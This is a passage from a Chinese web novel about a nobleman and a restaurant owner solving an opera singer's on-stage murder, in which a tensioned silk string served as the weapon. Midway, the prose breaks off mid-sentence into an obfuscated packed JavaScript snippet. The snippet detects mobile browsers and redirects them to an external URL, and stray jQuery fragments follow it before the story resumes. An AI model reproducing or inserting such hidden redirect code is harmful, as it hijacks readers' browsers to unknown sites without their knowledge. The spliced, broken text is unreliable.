王知权实在太好奇了,连声道:“小侯爷,别卖关子了,快说,快说。”
“荣鹤鸣死时无人看见凶器,我便在想,许是凶器无色,不易被发现,而这天蚕丝便近乎无色,不仔细看,几乎看不见。”
王知权:“这我知道,我从前跟他们去钓鱼时见人用过,瞧不出来,鱼儿更容易上钩。”
江不系一点头:“不仅如此,天蚕丝够韧,不易断,但是用作在台上杀害荣鹤鸣的凶器,韧性尚不够,我在里面混了牛筋,又用蜂蜡润滑增加其弹性,方才一试果然能行。”
王知权:“本府还是不明白,这天蚕丝如何杀人?”
江不系指了戏台四角:“戏台四角有四根柱,将天蚕丝如弓弦般拴于戏台后方两根柱子的顶端,而后将天蚕丝绷直如弓弦,扣在戏台前方两根柱子的底部,戏台两边不走人,又有幔帐衬着,等闲根本看不出,待荣鹤鸣一个人站在戏台中央时,凶手只需同时撤掉前方柱子底部扣住天蚕丝的扣子,被拉伸到极致的天蚕丝猛地反向弹回,力道之大,足可以削段人的脑袋,这便是为何老贺验尸后发现荣鹤鸣尸首的切割面呈前下后上的斜面。”
贺文章恍然:“这是因为天蚕丝反弹的走向是从下往上。”
“正是,之后,凶手趁乱收回天蚕丝,跑出戏院藏起来也好,销毁也好,都有足够的功夫。”
崔拂雪想起什么:“那晚小侯爷曾看见什么在戏台上闪过是……”
“我验过了,是荣鹤鸣挥动水袖时,烛火被扇得摆动,映在天蚕丝上的反光。”
王知权摸着下巴想了阵:“那凶手如何同时撤了两根柱子下扣住天蚕丝的扣子?”
“这也不难,”江不系缓缓道。“你们看,柱子与地板之间有缝隙,插进一块能钩住天蚕丝的木片即可,再将两根柱子下的木片用与地板同色的薄木片相连,他只需站在台侧,趁人不注意抽掉木片,天蚕丝失去了木片的阻碍,自然回弹,跟着再将木片与天蚕丝一起销毁。”
崔拂雪听出了关键:“那么当时谁站在戏台下,谁便是凶手。”
江不系无奈地点头。
话是这么说,可他问过,没人在意当时谁站在了戏台侧旁,戏班众人,谁在都不奇怪,毕竟荣鹤鸣在台上,都想学上一学。
既然确定了是人为,王知权来劲了,狠狠喊了声“查”。
他往前跨了一步,指着戏台:“必须查,彻查,装神弄鬼,大庭广众下就敢行凶,本府岂能饶他,小侯爷,你要人,要物,只要本府能办到的,无不应。”
“多谢府台大人。”
江不系需要人手,他要将华林班里当日来过戏院的人全部重审。
崔拂雪低声道:“小侯爷可还记得今日店家说戏班里修补戏服会用到天蚕丝?”
“嗯,”江不系同样压低了声,“我还记得柏喜说昂贵华丽的戏服都在几个角儿手里自行保管,若是破损了也是拿出去修补,普通戏服用不上天蚕丝,昂贵的拿出去修补,他们买天蚕丝做什么?再去那店里问问买过天蚕丝的都有谁。”
次日一早,贺文章跟着王知权的人一起去审问,江不系则与崔拂雪折回了丝线铺子。
老头还记得两人,想着昨儿两人出手阔绰,乐呵呵地打了招呼。
江不系开门见山:“掌柜的,昨儿你与我们说戏班里的人爱用天蚕丝,都有哪些戏班,谁来买过?”
老头突然一脸警惕:“你们问这个做什么?”
崔拂雪笑道:“我们也是为了补戏服,但是手艺不行,想问问掌柜的都谁买了,前去讨教一番。”
崔拂雪说的诚恳,老头打消了疑虑,说出了一串名字,最后才说到重点。
“要说买的最多的还属华林班,要不说他们是金陵第一戏班,”老头絮絮叨叨,“光是荣鹤鸣一人就好几身,那戏服上嵌的都是珍珠,啧啧,贵着呢,荣鹤鸣自己来买过,程班主也来买过,还有……对了,还有范心儿,红雁,小双,都买过。”
江不系:“掌柜,你都认识。”
掌柜的呵呵笑:“小老儿也爱看戏,我觉得,红雁唱的比范心儿好,可惜,程班主更捧范心儿,不过那荣鹤鸣确实厉害,哎,往后,再听不到了,你们呐,去别家讨教吧,我估摸着华林班眼下也没有心思与你们多说。”
“成,”江不系爽快道,“多谢掌柜的提醒。”
两人出了铺子,笑容消失在脸上,红雁,秦双,程袁梅甚至荣鹤鸣和范心儿自己都买过。
这一来,谁买过倒是没多大用处了,便是戏班里没买过的人,想弄到手也不是难事。
见崔拂雪愁眉不展,江不系左右看了看,没人,从袖口滑出一根镶宝石蝶戏双花鎏金银簪。
崔拂雪眼前突然多了个簪子,定睛一看,正是事发那晚去戏院的路上路过一间首饰铺时,她看见的那根。
“这……”
江不系将簪子放在她的手心:“不是说了要送你样东西。”
崔拂雪觉得手心发烫:“这簪子不便宜吧。”
不该是高兴,激动吗?再不济是疑惑,不解,眼下这反应,与江不系想的大相径庭。
江不系清咳了声:“拂雪……”
“权当小侯爷在秦淮炊烟吃了那么久的饭钱,我便不客气的收下了。”
江不系:“……”
这更不对了,怎么就成饭钱了,他见崔拂雪将簪子插进发髻中,随着步伐,蝴蝶翅膀微微振动,给本就妩媚的崔拂雪增添了几分俏皮灵动。
江不系将解释的话咽回肚子里,没事,再接再厉。
两人一路无言,默契地回了秦淮炊烟。
这会儿距开午市还早,蓝田正为午市做准备,卫泉跟前跟后的忙活。
江不系“啧”了声:“也不知道谁是主子,忙活的这么欢快。”
崔拂雪白了他一眼:“明儿起便别让卫泉来了。”
“那怎么成,他的终身大事都拴在这了,”江不系舔着脸,“若日后蓝田跟着卫泉回了京师,你该如何?要不要……”
“我便再买个丫头,还愁没人伺候吗?”
“你这人,你与蓝田多年相伴,没感情的吗?”
崔拂雪:“那就小侯爷便别将人带走,或者,卫泉留下也挺好,我瞧他做事利索,是打理秦淮炊烟的一把好手。”
江不系:“……”
崔拂雪笑盈盈地转身对着江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15712067|168458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不系:“八字还没一撇的事,小侯爷确实要在这里与我说这个呢,还是咱们进去说案子?”
江不系“欸”了声:“进去说案子。”
崔拂雪刚给江不系倒了茶,有人在外敲了敲窗户。
多半是阿芦,今儿怎么会来的这么早,她心底喊了声“糟糕”,江不系不是那么好糊弄的人。
“谁?”江不系喊了声,绕开崔拂雪过去开窗。
打开窗户正看见一道瘦小的身影一个猛子扎进秦淮河里。
崔拂雪:“可能是小孩子恶作剧。”
江不系:“恶作剧跑开就是,这样冷的天跳进河里,就不怕受寒生病?”
他关上窗坐回来:“我记得之前几个案子,拂雪都从客人口中打听到很关键的信息,不知是哪位客人如此神通广大,可否介绍我认识?”
“不是哪一位客人,”崔拂雪纠正,“那么多客人,没人随口一句都有可能是案子重要的线索,小侯爷总不能认识每一个秦淮炊烟的食客吧,想认识也不是不能,每日在我这里做跑堂,要不了一个月,保准与那些个老客混熟。”
“唉,拂雪好狠的心呐……”
崔拂雪不理他,直接说案子:“小侯爷,我觉得这起案子,与秦啸的死脱不开关系。”
江不系立刻答道:“荣鹤鸣和范心儿似乎掌握着程袁梅的秘密,何帝叶来挖人,正好让两人有了与程袁梅谈判的机会,再用掌握的秘密威胁他,要高价,程袁梅受不了,干脆杀了两人,你是这个想法吗?”
崔拂雪一点头:“是。”
“有些矛盾,”江不系撑着头,“程袁梅不想出高价是为了钱,可杀了荣鹤鸣和范心儿,戏班也会失去大半收入,他同样得不偿失。”
“不仅是钱,若是两人威胁他,比钱更重要的是命。”
“这不对,”江不系不同意她的想法,“你这是基于秦啸是被程袁梅杀死得出的结论,秦啸到底是不是被程袁梅所害,我们还无从得知。”
两人对视一眼,同时起身,想知道秦啸到底是怎么死的,不如去一查。
秦啸与程袁梅掉进的那个湖叫牧马湖,在应天府下辖的江宁县。
案子是江宁县所办,卷宗都在江宁县衙。
王知权派了府丞跟着江不系二人一起去江宁县。
县令得知江不系的身份后腰就没直过。
“小侯爷稍坐,即刻便让人将卷宗送来,”他招招手,让人上茶,“这个案子,下官还真有些印象。”
江不系挑眉:“几年前的一桩小案子,县令大人竟能记得?”
“不瞒小侯爷说,下官爱听戏,华林班的戏听了不少,因而才记得此时,这两日荣鹤鸣的死闹的沸沸扬扬,哎,确实可惜。”
“大人可否将当时的案情与我说一说?”
“自然,”县令回忆道,“那时我也刚做江宁县县令不久,那日夜里有人报官,说在湖水里发现两个人,原想着大概就是醉汉跌进湖里,哪知去了以后有一人已经沉下湖水,另一人脑袋上被磕出一个大包,已经醒了,哭着喊着让我们捞人。”
“那个哭喊的人……”
“正是如今华林班的班主程袁梅。”